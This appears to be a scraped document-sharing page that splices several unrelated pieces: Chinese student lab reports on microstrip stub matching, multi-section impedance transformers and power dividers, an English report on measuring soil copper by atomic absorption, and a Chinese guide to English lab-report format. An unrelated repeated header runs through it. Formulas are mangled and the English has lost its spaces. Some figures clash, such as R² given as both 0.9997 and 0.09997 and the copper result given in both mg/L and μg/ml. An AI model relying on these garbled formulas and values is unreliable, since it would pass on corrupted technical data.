1 Y0 Y0 Y0 Y L 1 2 Y0 Y0 开开 路路 l2 或或l2 短短 路 路 图2 双支节匹配 g=1 辅助圆 图3。双支节匹配器 导纳圆图 三、实验内容 Z,75,in已知: 输入阻抗 Z,(64,j35),L负载阻抗 Z,75,0特性阻抗 ,,2.55,H,1mmr介质基片 假定负载在2GHz时实现匹配,利用图解法设计微带线单支节和双支节匹配网路,双支节网 ,/4,/8络分支线与负载的距离d1=,两分支线间的距离为d2=。画出几种可能的电路并比较输入端的反射系数幅值从1.8GHz到2.2GHz 的变化。 四、实验步骤 1( 建立新项目,确定项目频率 2( 计算归一化阻抗和负载阻抗的值,将其所在位置标在Y-smith导纳圆图上 3( 设计单支节匹配网路,在圆图上确定分支线与负载的距离d和分支线的长度l,根据黑定的基片介质,特性阻抗和频率用TXLINE计算微带线的物理长度和宽度,注意圆图上360度的电角度对应半个波长 4( 将微带线放入原理图中,将衬底材料也放在原理图中,选择适当的模型,画出原理图,并将计算得出的W和L值输入到对应的元件 5( 将项目的频率改为1.8GHz—2.2GHz 6( 在proj下添加图,选择Rectangular图,添加测量,类型选择Port Parameters,测量选项为S参数,单位dB,选择扫频Sweep Proj。Freqs,选择幅度Mag。添加完测量量后进行仿真。 7( 设计双支节匹配网络,建立新的原理图,重复以上步骤 单支节匹配(并联开路线) 1) 根据已知计算出各参量。 单支节匹配器 PS:Zl为负载阻抗;Z0为特性阻抗;zl为归一化负载阻抗; Tl为负载处反射系 数; Zin为输入阻抗; zin为归一化输入阻抗; Tin 为输入端反射系数;b为以 0.01为步长从0扫描到2*PI; R为阻抗处等反射系数圆; Rj为纯电纳等反射系 数圆 Rp为匹配圆 2) 将归一化阻抗和负载阻抗所在位置分别标在smith圆上 绘制步骤: 1) 将归一化输入阻抗和负载阻抗所在位置标在导纳圆图上 2) 从负载阻抗处沿等反射系数圆向源(顺时针)旋转,交匹配圆一点,由此确定单支 节传输线阻抗为-0.53*j,取此经历的电长度为分支线与负载的距离d=198.25? /360?*半波长 3) 在导纳圆图上标出阻抗为-0.53*j点的位置,从开路点出发向源方向旋转到标识位 置,取此经历的电长度为分支线的长度l=304.12?/360?*半波长 4) 设计单枝节匹配网络,在图上确定分支线与负载的距离以及分支线的长度,根据给 定的介质基片、特性阻抗和频率用TXLINE计算微带线物理长度和宽度。 5) 画出原理图。注意微带分支线处的不均匀性所引起的影响,选择适当的模型。 6) 添加矩形图,添加测量,测量输入端的反射系数幅值。 双支节匹配(并联开路线) Smith圆图: 绘图步骤: 1) 根据两枝节间隔长度为1/8波长,绘出辅助圆位置 2) 在图中标出负载处位置,沿等反射系数圆向源方向(顺时针)旋转180度,该点为y1’ 点 3) 从y1’点沿等电导圆旋转,交辅助圆于y1点,通过y1点导纳值减去y1’点导纳值得到 第一个枝节的阻抗值j*1.5227。 4) 在图中标出该阻抗值点j*1.5227,从开路点向源方向(顺时针)旋转到标出的阻抗值点, 经过的电长度为第一枝节的长度。l1=113.4?/360?*半波长。 5) 从y1点沿等反射系数圆向源方向旋转,交批匹配圆于y2’点,1-y2’的阻抗值为第二枝 节的阻抗值,在图中标出该阻抗点,从开路点向源方向旋转到该点,经过的电长度为第 二枝节的长度。l2=130.2?/360?*半波长。 6) 设计双枝节匹配网络,在图上确定双分支线的长度,根据给定的介质基片、特性阻抗和 频率用TXLINE计算微带线物理长度和宽度。 7) 电路原理图: 8) 添加矩形图,添加测量,测量输入端的反射系数幅值。 五、实验总结 这个实验虽然比较简单,但是初次入手的时候,由于对软件不熟悉,因而花的时间很多。做单支节匹配网络时,关于分支线与负载的距离d和分支线的长度l的计算比较简单,所以这两个参数的计算很快就得出结果了。之后画出原理图和仿真图,单支节匹配网络就完成了。双支节匹配网络相对复杂了许多。在计算两根分支线的长度l1和l2的时候,Smith圆图上所需要标记的点比较多。这一步中遇到的问题是在画原理图的时候,用错了一个微带线。我设计的是开路线,但是画的时候错误地用成了短路线,导致仿真出的图出错。后来通过询问同学,解决了这一问题。可见在实验的过程中,我们要时刻保持细心淡定。 此外,刚做完这个实验的时候,我还不知道调谐。做完实验三之后,又重新回头做了这个实验的调谐工作。 通过这次实验,我对于MsOffice这个软件的操作有了初步的了解,为以后做另外的实验奠定了基础。 从实验的结论可以看出,双支节匹配指标并没有比单支节好多少。只是双支节可以匹配实部位0的负载阻抗,这是单支节无法匹配的。另外,双支节还可以可调性更强一点。 实验三 微带多节阻抗变换器 一、实验目的: 1) 掌握微带多节变阻器的工作原理 2) 掌握用VOLTAIRE XL进行仿真及优化设计 二、实验原理: 变阻器是一种阻抗变换元件,它可以接于不同数值的电源内阻和负载电阻之间,将两者起一相互变换作用获得匹配,以保证最大功率的功率:此外,在微带电路中,将两不同特性阻抗的微带线连接在一起时为了避免线间反射,也应在两者之间加变阻器。 单节λ/4变阻器是一种简单而有用的电路,其缺点是频带太窄。为了获得较宽的频带,常采用多节阻抗变换器。如下图所示, Z,Z,Z??,ZZ012nn,1多节变阻器的每节电长度均为θ;为各节的特性阻抗,为负载阻抗,并假设Zn+1,Zn,??Z2,Z1,Z1,Z0。 其中ρi,z i/z i-1 Γi=(ρ-1)/(ρ+1) ii-1 在上图中,变阻器的阻抗由Z0变到Zn+1,对Z0归一化,即由z0,0变到zn+1,R,R即为阻抗变换比。其中ρ1,ρ2??ρn+1为相邻两传输线段连接处的驻波比。根据微波技术的基本原理,其值等于大的特性阻抗对小的特性阻抗之比。Γ1,Γ2,??Γn+1则为连接处的反射系数,为了使设计简单,往往取多节变阻器具有对称结构,即使变阻器前后对称位置跳变点的反射系数相等,Γ1,Γn+1,Γ2=Γn??。 定义下列公式为变阻器的相对带宽和中心波长: f,(f,f)/2012 D,(f,f)/221 fff012其中 和 分别为频带边界的传输线波长, 为传输线中心波长,D为相对带宽。 三、实验内容: 设计仿真等波纹型微带多节变阻器 给定指标:在2GHZ-6GHZ的频率范围内,阻抗从50Ω变为10Ω,驻波比不应超过1.15,介质基片εr=9.6,厚度h=1mm,在此频率范围内色散效应可忽略。 四、实验步骤: 1) 根据给定的指标,查表确定微带变阻器的节数n; 2) 查表得到各段线的特性阻抗(归一化值)。对于等波纹型运用下列公式: =R/z n=2时,z210.5n=3时, z=R, z=R/z1 23 n=4时,z=R/z, z=R/z 3241 3) 利用TXLINE计算相应微带线的长度及宽度, 选择单位和项目频率2GHZ-6GHZ 4) 输入原理图,要考虑微带线的不均匀性,选择适当的模型,如微带线阻抗跳变点处。 5) 添加矩形图和添加测量,测量类型选择Linear,测量选项为VSWR, 扫频Sweep Proj.Freqs,点击OK完成添加测量,在主菜单Simulate里点击Analyze进行分析。 6) 调谐电路, 比如调谐一段微带线,保持微带线宽度不变(因为宽度与特性阻抗有 关),调节其长度,调整范围一般不超过10%。在原理图中双击该元件,弹出属性 对话框。选择Parameters页,在L(长度)行,勾选Tune。当选择调谐变量时, 必须要选择该变量的上下限范围,勾选Limit,输入调谐的上下限Lower Upper的 值。这时在原理图中,这段微带线的长度变为蓝黑色,表示一个调谐变量。在主菜 单Simulate里,点击Tune打开变量调谐器,进行调谐。 7) 打开测量图形,观察驻波比VSWR随频率的变化。在调谐各段微带线的长度时,要 保证其变化趋势不变,如递增或递减的规律。 五、实验设计及结果: f,2GHz,f,6GHz,f,4GHz,D,1120 根据给定指标(相对带宽Wq=1,VSWR?1.15,阻抗比为5),查表n=4 port1=10Ω,Z=12.1721Ω,Z=17.7292Ω,Z=28.2021Ω,Z=41.0775Ω,port2=50Ω。 1234 所以一共用六节微带线,中心频率为4GHZ,介质基片εr=9.6,厚度h=1mm,t=1um。 各节变阻器设计如下: Z=10Ω,W=10.614mm,L=6.269mm port1 Z=12.1721Ω,W=8.4344mm,L=6.3419mm 1 Z=17.7292Ω,W=5.3011mm,L=6.5178mm 2 Z=28.2021Ω,W=2.7957mm,L=6.7927mm 3 Z=41.0775Ω,W=1.518mm,L=7.0511mm 4 Z=50Ω,W=1.0439mm,L=7.1929mm port2 电路原理图: 调谐后与未调谐前比较 六、实验总结 通过第一个实验的锻炼,我做这个实验的时候,对软件的操作更为熟练了。本实验的计算比较简单,按照指导书上的公式就可以算出各段微带线的长度和宽度了。遇到的困难出现在调谐电路的时候。实验要求说驻波比不应超过1.15,但是一开始我调了很长时间,始终不能调节到1.15以下。后来请教了同学,同学指出第一段和最后一段微带线的长度可以不加10,的上下限。于是我修改了以下参数的设置,顺利地调谐出了符合要求的微带线长度。 通过这个实验,我觉得遇到问题如果自己通过思考还是不能解决的话,要主动和同学交流请教。孔子教育我们要不耻下问,说的就是这个道理。 实验四 微带功分器 一、实验目的: 1) 掌握微波网络的S参数 2) 熟悉微带功分器的工作原理及其特点 3) 掌握微带功分器的设计和仿真 二、实验原理: 功分器是一种功率分配元件,它是将输入功率分成相等或不相等的几路功率,当然也可以将几路功率合成,而成为功率合成元件.在电路中常用到微带功分器,其基本原理和设计公式设计如下: 图5.38 是二路功分器的原理图.图中输入线的阻抗为Z0,两路分支线的特性阻抗分别为Z02 和Z03,线长为λe0/4,λe0/4 为中心频率时的带内波长.图中R2 和R3 为负载阻抗,R为隔离电阻. 对功分器的要求是:两输入口2 和3 的功率按一定比例分配,并且两口之间互相隔离,当2,3 02, Z03,R2,R3 及R 的计算式. 口接匹配负载时,1 口无反射.下面根据上述要求,确定Z 设2 口,3 口的输出功率分别为P2,P3,对应的电压为V2,V3.根据对功分器的要求,则有 2P=kP2 322V/R=k|V|/R 3322 式中k 为比例系数.为了使在正常工作时,隔离电阻R 上不流过电流,则应 2V=V 于是得 R=kR 3223 若取 R=kZ 20 则 R=Z/k 30 因为分支线为λ/4,故在1 入口处的输入阻抗为: e02Z=Z/R in20222Z=Z/R in3033 为使1 口无反射,则两分支线在1 处的总输入阻抗应等于引出线的Z,即 022Y=1/Z= R /Z +R /Z 00202303 若电路无损耗,则 222|V|/ Z =k|V| /Z 1in31in2 式中V1 为1 口处的电压 2所以 Z = k Z 0203230.5Z =Z[(1+ k)/k] 03020.5Z=Z[(1+ k)k] 020 下面确定隔离电阻R 的计算式. 跨接在端口2,3 间的电阻R,是为了得到2,3 口之间互相隔离的作用.当信号1 口输入,2,3 口接负载电阻R2 ,R3 时,2,3 两口等电位,故电阻R 没有电流流过,相当于R 不起作用;而当2 口或3口的外接负载不等于R2 或R3 时,负载有反射,这时为使2,3 端口彼此隔离,R 2必有确定的值,经计算R= Z(1+ k)/k..图5.38 中两路带线之间的距离不宜过大,一般取2~3 0 带条宽度,这样可使跨接在两带线之间电阻的寄生效应尽量小. 三、实验内容: 设计仿真一个微带功分器,指标为 中心频率 f=2GHZ 0 耦合度 k=2 =50Ω 引出线 Z0 介质基片 ε=2.55,h=1mm r 四、实验步骤: 1) 按照指标要求用上述公式计算R 、R 、Z 、Z 、R、Z、Z的值。 2302030405 2) 利用TXLINE计算相应微带线的长度和宽度。选择单位和项目频率1.5-2.5GHZ 3)输入原理图名称根据微带线的不均匀性,选择适当模型。 4) 添加测量,测量类型选择Port Parameters,名称S,单位dB,扫描Sweep Proj.Freqs,选择幅度Mag,测量输入口到两个输出口的传输特性(S21,S31)以及隔离度S32 5) 分析电路,观察各端口参数是否满足设计要求。 6) 调谐电路,选择调谐变量,输入新的参数;观察S 参数的变化,选择最佳值。 五、参数设计: 过程如下: 由所给指标算出 R =100Ω 2 R =25Ω 3 Z = 158.1Ω 02 Z =39.53Ω 03 R=125Ω, Z=70.71Ω 04 Z =35.36Ω。 05 用Txline 算出各段微带线的长和宽: TL1,TL17,TL18 的长、宽都为L=25.578mm,W=2.8341mm TL13: L=26.073mm,W=1.6012mm TL14: L=25.124mm,W=4.6492mm ,其宽度均为0.2117mm TL3 和TL7 等效为Z02 TL4 和TL8 等效为Z ,其宽度均为3.989mm 03 设计时考虑到取TL7 和TL8 的长度相等。由“两路带线之间的距离不宜过大,一般取2~3 带条宽度”,且实际电路中一般微带线的长度效果比设计的长,所以取TL3与TL4的长度和为2.91倍的TL4的宽度(3.989mm)。 可求出TL3的长度为6.751mm,TL4的长度为4.872mm,TL7和TL8的长度都为20.393mm TL11要比TL3小一点,TL12要比TL4小一点。所以设TL11长为Ln,TL12长为Lm,初始设TL3-TL4-m=n=1.5。 TL11 和TL12 的宽度为0.44836mm 初始电路图如下: 六、参数调谐: 初始仿真图如下 可见不符合要求。于是将TL13、TL14、TL7和TL8的长度l、TL3的长度l21、TL4的长度l31、TL11和TL12的长度变化调节值n和m变为可调节。算出各个当前值的变化范围,即90%~110%,将范围填入。看着仿真图对各个值进行调节,最后调节情况为 参数变化为: ) l31(L) l(L/L) L L n m l21(LTL3TL4TL7TL8TL13TL14 设计值 6.751 4.872 20.393 26.073 25.124 1.5 1.5 最终值 6.551 4.732 22.193 24.273 23.92 1.8 1.92 仿真图如下: 实验电路图最后如下: 七、实验心得: 这个实验我花的时间也比较多。参数比较多,但是按照指导书上的公式进行运算,都没有问题。本实验的难点在于“两路带线之间的距离不宜过大,一般取2,3带条宽度”。我开始调值时没有保证L和L长度相等,也没有保证L和L的和小于L和L的和,后TL7TL8TL11TL12TL3TL4来我意识到要保证L和L的和小于L和L的和,又去请教同学,得知还要保证LTL11TL12TL3TL4TL7和L长度相等。我通过方程来表示出约束条件,定这个比例系数为2.91。这也再次证明了TL8 我上次实验中得到的经验教训:要善于和同学交流,这样学习起来效率更高,也能学到更多的东西。这个实验的调谐过程相对上次实验来得更为复杂,因为需要调谐的参数有七个之多。我通过耐心细致的调谐,终于让仿真图符合了实验的要求。通过这次实验,我学到的东西是,对于看似复杂的实验过程,我们要不畏艰难,认真细心,这也一步一步地做下来,一定能得到我们想要的结果。 电脑控制弦音计2016 英语实验报告 Determinationofheavymetalsinsoilbyatomicabsorptionspectrometry(AAS) Name:XuFeiGroup:The3rdgroup Date:Sep.20th2012 Part1Theintroduction 1.1Thepurposes (1)Learnhowtooperatetheatomicabsorptionspectrometry; (2)Learnhowtodothepretreatmentofsoilsamples; (3)Getfamiliarwiththeapplicationofatomicabsorptionspectrometry. 1.2Theprinciples AtomicAbsorptionSpectrometry(AAS)isatechniqueformeasuringquantitiesofchemicalelementspresentinenvironmentalsamplesbymeasuringtheabsorbedradiationbythechemicalelementofinterest.Thisisdonebyreadingthespectraproducedwhenthesampleisexcitedbyradiation.Theatomsabsorbultravioletorvisiblelightandmaketransitionstohigherenergylevels. Atomicabsorptionmethodsmeasuretheamountofenergyintheformofphotonsoflightthatareabsorbedbythesample.A 1 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 detectormeasuresthewavelengthsoflighttransmittedbythesample,andcomparesthemtothewavelengthswhichoriginallypassedthroughthesample.Asignalprocessorthenintegratesthechangesinwavelengthabsorbed,whichappearinthereadoutaspeaksofenergyabsorptionatdiscretewavelengths.Theenergyrequiredforanelectrontoleaveanatomisknownasionizationenergyandisspecifictoeachchemicalelement.Whenanelectronmovesfromoneenergyleveltoanotherwithintheatom,aphotonisemittedwithenergyE.Atomsofanelementemitacharacteristicspectralline.Everyatomhasitsowndistinctpatternofwavelengthsatwhichitwillabsorbenergy,duetotheuniqueconfigurationofelectronsinitsoutershell.Thisenablesthequalitativeanalysisofasample. TheconcentrationiscalculatedbasedontheBeer-Lambertlaw.Absorbanceisdirectlyproportionaltotheconcentrationoftheanalyteabsorbedfortheexistingsetofconditions.Theconcentrationisusuallydeterminedfromacalibrationcurve,obtainedusingstandardsofknownconcentration.CalibrationCurveMethod:Preparestandardsolutionsofatleastthreedifferentconcentrations,measuretheabsorbanceofthesestandardsolutions,andprepareacalibrationcurvefromthevaluesobtained.Thenmeasuretheabsorbanceofthetestsolutionadjustedin 2 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 concentrationtoameasurablerange,anddeterminetheconcentrationoftheelementfromthecalibrationcurve. Part2Thematerialsandapparatus Atomicabsorptionspectrometry;Cuhollowcathodelamp;ACvoltagestabilizer;oil-freegascompressor;acetylenecylinder;oscillator;sampleboat;Erlenmeyerflaskwithstopper(100ml);beaker;graduatecylinder;pipette. Part3Theprocedure 3.1operatingprocedureforAAS (1)inspectmajorcomponentstoensureoperatingnormal. (2)Installrequiredhollowcathodelamp.Select“T”beforeturningtothepowerandhollowcathodelamp.Thenselectappropriatelampcurrentandpreheatfor30min. (3)Makesureelectricalmetertopointtozeroandthenturnonhigh-voltagepower. (4)Selectappropriateslitwidth. (5)Rotatemonochromatorandselectrequiredwavelength.Ifthepowermeteristoohighorlow,adjustnegativehighvoltageuntilthemeterreadsfullscale. (6)Adjustlightpointandwavelengthsothatthemeterrepresentsthemaximumvalue. (7)Turnonaircompressorandacetylenegasandigniteflame 3 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 .Adjusttheflameappropriatelyandpreheattheburner. (8)Injectdistilledwaterintotheflameandcontinuetopreheattheburner.Injectdistilledwaterintotheflameaftereachsample. (9)Select“E”,injectblanksolutionintotheflameandadjustt hemetertozero. (10)Optimizeanalysisconditionsandmeasurestandardsolutionandsamples. (11)Aftercompletionofmeasurement,turnoffacetylenegasvalveandthenaircompressor,cutoffgassupplyamomentlater. (12)Select“T”beforeturningoffhighvoltagepower,decreaselampcurrentandthenturnoffthelamp.Atthesametime,allbuttonsshouldbeonoriginalpositions. (13)Checktheequipmentbeforeleavingthelaboratory. 3.2Determinationofsoilsamples (1)Preparationofextractingsolution(0.05mol/lEDTAsolution) 18.gofEDTAisdissolvedwithwaterinabeaker(500ml).ThePHisadjustedto7.0usingdiluteammonia.Themixtureistransferredintoavolumetricflask(1000ml),dilutetothemarkandmixedwell. 4 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 (2)Treatmentofsoilsamples 2.50gofair-driedsoil(60-100mesh)isputintoanErlenmeyerflaskwithstopper(100ml).12.5mlofEDTAsolutionisadded.Themixtureisshakenfor1handthenfiltered.Thefiltrateispreservedforanalysis. (3)PreparationofCustandardstocksolution 0.10gofCuisdissolvedin15mlof(1:1)nitricacidsolution.Themixtureistransferredintoavolumetricflask(1000ml)anddilutedtothemarkwithre-distilledwater.Theconcentrationofthestockstandardsolutionis100g/ml.(TheconcentrationshouldbecalculatedaccordingtothemassofCu).TheworkingCustandardsolution(10μg/ml)isobtainedbydiluting10mlofCustandardstocksolutionto100mlwith re-distilledwater. (4)Plottingofthestandardcurve 0ml,1ml,2ml,3ml,4mland5mlofCustandardsolution(10μg/ml)areaddedrespectivelytovolumetricflask(10ml)with1mlof5mol/lhydrochloricacid.Themixtureisdilutedwithre-distilledwaterandmixedwelltogive0μg/ml,1.00μg/ml,2.00μg/ml,3.00μg/ml,4.00μg/ml,5.00μg/mlofCu,respectively.Theabsorbanceismeasuredatwavelengthsof3247?.Thestandardcurveisconstructedbyplottingabsorbancevs.concentrati 5 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 on. (5)Determinationofsamples Thesamplesolutionisanalyzedusingthesameprocedureandconditionsasforthestandardcurve.TheconcentrationofCuisobtainedfromthestandardcurvebasedontheabsorbance. Part4Theresults 4.1Therawdata 4.2AASstandardcurve 4.3Calculation Theabsorbanceofsampleis0.0511. Accordingtotheformulaabove:y=0.0446x+0.0024,R2=0.9997 TheconcentrationofCuinthesampleis:1.091mg/L. Part5Discussion Inthisexperiment,weusetheAAStodetermineCuinsoil.IlearnhowtooperatetheAASandthelimitation.Intheexperimentalprocess,standardsolutionwaspreparedinstrictaccordancewiththeexperimentalrequirementsandIlearnhowtodealwiththedata.Finallywegetthestandardcurve,then,thesampleconcentrationiscalculatedaccordingtotheabsorbanceofthesample. Intheexperimentwehaveninemembersinourgroup,sowec 6 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 andoourbestineveryworkweneedtodo.Formywork,Iamresponsibleforthepreparationofsolutionandtitration.What’ smore,IlearnhowtouseandoperatetheAASonthecomputerlater. Ultimately,wegetthelinearformulaisy=0.0446x+0.0024andR2=0.9997.FromAccordingtotheformulaandtheabsorbanceofCuinthesampleis0.0511,wedrawtheconcentrationofCuinthesampleis1.091μg/ml.Wehaveknownthattheconcentrationoftestsamplemeasuredbyinstrumentis1.091mg/L. WecansayourresultofexperimentissoveryaccuratefromthestandardcurveofCuandthevalueofR(R2=0.09997).Theaccuratedataisduetotheeffortsofweeveryone.Thanksforeverymembersofourgroup. Ihavesomesuggestionsforourexperiments.Firstlywhenwe’ lldoanexperiment,wemustprepareourpre-labbyourselvesandtranslateitintoChinese.Onlydolikethis,wecanunderstandtheexperimentwell.SecondlyweshouldprefertosolutetheproblemsintheexperimentratherthanaskforTA.Finally,everyoneshouldunderstandhisowntaskintheexperiment. 英文实验报告的格式和写法【转】 2010-10-0406:03 7 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 一份最标准的实验报告的格式: 1.Abstract 2.Introduction 3.Method 4.Results 5.Discussion .Conclusion 7.Reference 分别来分享下近来学到的。。 Abstract 摘要摘要,就是整篇文章摘出来的要。 强烈建议整篇文章写完后再写摘要。 把文章每个部分选一些句子出来就可以拼凑成一个abstract了。 一个abstract的模板: 1一两句话说明这个实验的主要理论依据,或者实验需要证明的假说。2一两句话说一下这个理论或者假说的相关的研究。 3两三句话描述一下实验 4两三句话概括一下实验结果 5一句话说一个结论,解释一下这个实验的意义或结果的重要性 8 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 转一个别人的example: Doesachild’ sfocuscorrelatewithbarometricpressure?ifso,doesitcorrelatepositivelyornegatively?Tucker(1999)hypothesizedanegativecorrelation,butthisassertionhasneverbeentested.OurteamusedtheMISHACPTtomeasurethefocusofagroupof150third-gradestudents.wedividedthestudentsintothreegroupsof50students.onegrouptooktheMISHACPTwhenbarometricpressurewaslow,anothergrouptookitwhenbarometricpressurewasneutral,andthefinalgrouptookitwhenbarometricpressurewashigh.theresultsfoundthatchildrenfocusedsignificantlybetterwhenbarometricpressurewaslowthanwhen barometricpressurewasneutralorhigh.theresultssuggestthatwhendiagnosingADHD,practitionersshouldgivetheCPTwhenbarometricpressureisneutral. Introduction Introduction以实验目的为开头,解释一下这个实验 需要证明的东西。具体实验目的视全篇实验报告长度 而定,几段到几页都有的。 实验目的写完后介绍实验基本理论。介绍一下前人 或者文献里的相近相关的实验,写一下他们的成果以 及不到位的地方。,这部分注意写reference。 9 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 然后介绍一下实验过程。如果实验用了一些非常见 的仪器,也可以在这个部分做一个简要介绍。 再转一篇我认为写得很好的Introductionexample Introduction Inthislab,weexplorethetheoryofoptimalforagingandthetheoryofcentralplaceforagingusingbeaversasthemodelanimal.Foragingreferstothemammalianbehaviorassociatedwithsearchingforfood.Theoptimalforagingtheoryassumesthatanimalsfeedinawaythatmaximizestheirnetrateofenergyintakeperunittime(Pykeetal.1977).Ananimalmayeithermaximizeitsdailyenergyintake(energymaximizer)orminimizethetimespentfeeding(timeminimizer)inordertomeetminimum requirements.Herbivorescommonlybehaveasenergymaximizers(Belovsky1986)andaccomplishthismaximizingbehaviorbychoosingfoodthatisofhighqualityandhaslow-searchandlow-handlingtime(Pykeetal.1977). Thecentralplacetheoryisusedtodescribeanimalsthatcollectfoodandstoreitinafixedlocationintheirhomerange,thecentralplace(Jenkins1980).Thefactorsassociatedwiththeoptimalforagingtheoryalsoapplytothecentralplacetheory.Thecentralplacetheorypredictsthatretrievalcostsincreaselinearl 10 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 ywithdistanceoftheresourcefromthecentralplace(RockwoodandHubbell1987).Centralplacefeedersareveryselectivewhenchoosingfoodthatisfarfromthecentralplacesincetheyhavetospendtimeandenergyhaulingitbacktothestoragesite(Schoener1979). Themainobjectiveofthislabwastodeterminebeaver(Castorcanadensis)foodselectionbasedontreespecies,size,anddistance.Sincebeaversareenergymaximizers(Jenkins1980,Belovsky1984)andcentralplacefeeders(McGinleyandWhitam1985),theymakeanexcellenttestanimalfortheoptimalforagingtheory.Beaverseatseveralkindsofherbaceousplantsaswellastheleaves,twigs,andbarkofmostspeciesofwoodyplantsthatgrownearwater(JenkinsandBusher1979).Byexaminingthetreesthatarechewedornot-chewedinthebeavers’ homerange,anaccurateassessmentoffoodpreferencesamongtreespeciesmaybegained(Jenkins1975).Thepurposeofthislabwastolearnabouttheoptimalforagingtheory.Wewantedtoknowifbeaversputtheoptimalforagingtheoryintoactionwhenselectingfood. Wehypothesizedthatthebeaversinthisstudywillchoosetreesthataresmallincircumferenceandclosesttothewater.Sincetheenergyyieldoftreespeciesmayvarysignificantly,wealso 11 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 hypothesizedthatbeaverswillshowapreferenceforsomespeciesoftreesoverothersregardlessofcircumferencesizeordistancefromthecentralarea.Theoptimalforagingtheoryandcentralplacetheoryleadustopredictthatbeavers, likemostherbivores,willmaximizetheirnetrateofenergyintakeperunittime.Inordertomaximizeenergy,beaverswillchoosetreesthatareclosesttotheircentralplace(thewater)andrequiretheleastretrievalcost.Sincebeaversaretryingtomaximizeenergy,we hypothesizedthattheywilltendtoselectsomespeciesoftreesoverothersonthebasisofnutritionalvalue. Methods 这部分通常包括Material和Procedure两个部分。 Material: 详细的写出实验用到的材料,设备,器材。像下面 这样是不够详尽的:Chromatography Lightbulbs Computer 比较一下下面的: LC-10AVPPlusHigh-performanceliquidchromatography 12 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 24incandescent0Wlightbulbsarrangedina*4rectangularmatrix(SeeFigure2) DellPrecisionT7500(XeonX55502.66GHz,GBRAM,4bitWindows7Professional) 另外,如果实验对象中有人的话,介绍人数,群体 背景。用Subjects来称呼。比如 Subjects Wetested150third-gradestudentschosenatrandomfromapoolof34applicantsfromeightLondonpublicandprivateelementaryschools.thestudentsrepresentedafairlywiderangeofeconomicbackgrounds.allagreedtoparticipateinourstudyinexchangefora25poundsgiftcertificatefromalocaltoystore. Procedure 详细写出每一步步骤。不要虚构理想化实验,不要 夸大某个过程 如实叙述即可。如果步骤比较多就用数字标出每一 步。 example: Thetestperformedonthepotentiometerwasaccomplishedbywindingastringaroundthepotentiometershaft,attachingamasstothestring,andlettingthemassfall.Thechangeinresistanceofthepotentiometerwithtimeindicatedtheaccelerationo 13 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 fthemass.InthisexperimentitwasassumedthattheconstantCoulombfrictiontorquewastheonlyfrictionaffectingthepotentiometer.Ifthisassumptionweretrue,thefrictionforcefromthetorquewouldbeFf=T/r(whereTisthetorqueandristheradiusofthepotentiometer’ sshaft).Likewise,thegravityforcewouldbeFg=mg(wheremisthemasstiedtothestringandgisthegravitationalacceleration).Aforcebalancethengives T=mr(g-a), whereaistheaccelerationofthemass.IftheassumptionholdsthattheonlyfrictionaffectingthepotentiometerwasconstantCoulombfriction,theneachmasswouldundergoaconstantacceleration. Thepotentiometermeasuredvoltageversustimeforthemassesastheydropped,butthemeasurementofinteresttouswaspositionversustime.Forthatreason,a‘calibration’ wasperformedbeforewemeasuredanydata.Inthecalibration,thepotentiometer’ sinitialvoltagewasmeasured.Thenthestringwaspulledasetdistance(2inches),andthevoltagewasrecorded.Thisprocessofpullingthestringasetdistanceandrecordingthevoltagecontinuedanothertwotimes(seeAppendixAfortheresults).Todet 14 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 erminetherelationshipbetweenvoltageandposition,thedifferencesinthevoltageswereaveragedanddividedbythelength.Theresultingrelationshipwas0.9661volts/inch. Fivedifferentmasseswereusedtotesttheassumptionofconstantacceleration.Foreachmass,thestringwasrolledupontheshaft,theoscilloscopewastriggered,andtheshaftwasreleased.Aseachmassdropped,theoscilloscopecollectedthepotentiometer’ svoltageversusthetime.Afterobtainingplotsforeachmass,weusedthe voltage-positionrelationship,mentionedabove,toconvertthedatafromtheformvoltageversustimetotheformpositionversustimesquared.Theresidualsofthedatadeterminedwhethertheassumptionofconstantaccelerationwasvalid. Results 实验的数据,公式,图表,计算过程,用一种对读 者最友好的形式展示出来。实验的原始数据通常都是 放在附录的,这里都是放处理过的数据。 如果有大量的计算,至少要列出其中一个 samplecalculation. Results部分的开头最好重复一下实验目的。 如果结果很多,最好分成不同的section 15 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 example: Results Overall,beaversshowedapreferenceforcertainspeciesoftrees,andtheirpreferencewasbasedondistancefromthecentralplace. Measurementstakenatthestudysiteshowthatbeaversavoidedoaksandmusclewood(Fig.1)andshowasignificantfoodpreference(x2=447.26,d.f.=9,P.13mforchewedtrees(t=3.49,d.f.=268,P.05)thanselectedtrees.Fortheselectedtreespecies,nosignificantdifferenceincircumferencewasfoundbetweentreesthatwerenotchewed(mean=16.03cm)andchewed(mean=12.80cm) (t=1.52,d.f.=268,P>.05)(Fig.3). Discussions 对于results中描述的实验数据,在这个部分中进一 步诠释,解释每个结果的含义,为后面conclusion做 准备。 discussions的开头把实验的理论或者假说重复一遍, 然后说明其中一个观点1Theexperiment’ sresultsprove(recommend)thetheory(hypothesis).2Theexperiment’ sresultsdisprovethetheory(hypothesis).3Theexperiment’ 16 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 sresultswereinconclusive. 然后几个方面说明这个观点 Whatresultsconfirmtheopinion istherereasonabledoubtforyouropinion?anypossibleflawsintheexperimentaldesignorholesintheresults? 